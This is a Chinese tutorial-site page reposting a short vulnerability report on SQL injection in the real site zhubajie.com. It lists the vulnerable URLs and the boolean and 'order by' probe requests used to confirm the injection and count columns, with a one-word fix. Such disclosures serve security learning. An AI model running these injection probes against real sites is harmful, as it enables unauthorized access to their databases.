猪八戒网主站及分站盲注 - 网站安全

猪八戒网主站及分站盲注 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 12:00 作者：阅读:次

[导读] 注入URL：http://www.zhubajie.com/wp7/view-id-85注入参数：-确认注入点存在http://www.zhubajie.com/wp7/view-id-85 and 1=1http://www.zhubajie.com/wp7/view-id-85 and 1=2确认栏数为10http://www.zhuba......

注入URL：http://www.zhubajie.com/wp7/view-id-85

注入参数：-

确认注入点存在

http://www.zhubajie.com/wp7/view-id-85 and 1=1

http://www.zhubajie.com/wp7/view-id-85 and 1=2

确认栏数为10

http://www.zhubajie.com/wp7/view-id-85 order by 10

http://www.zhubajie.com/wp7/view-id-85 order by 11

union查询

修复方案：

过滤啦

作者瘦蛟舞

http://u.zhubajie.com/api/getthread.php?cut=16&limit=6&tid=65024

没什么好说的了

作者 y35u

xdcms v2.0.2 0DAY - 网站安全 - 自学php

anwsion问答系统漏洞第三弹——私信注入(含补充的

子栏目

猪八戒网主站及分站盲注 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论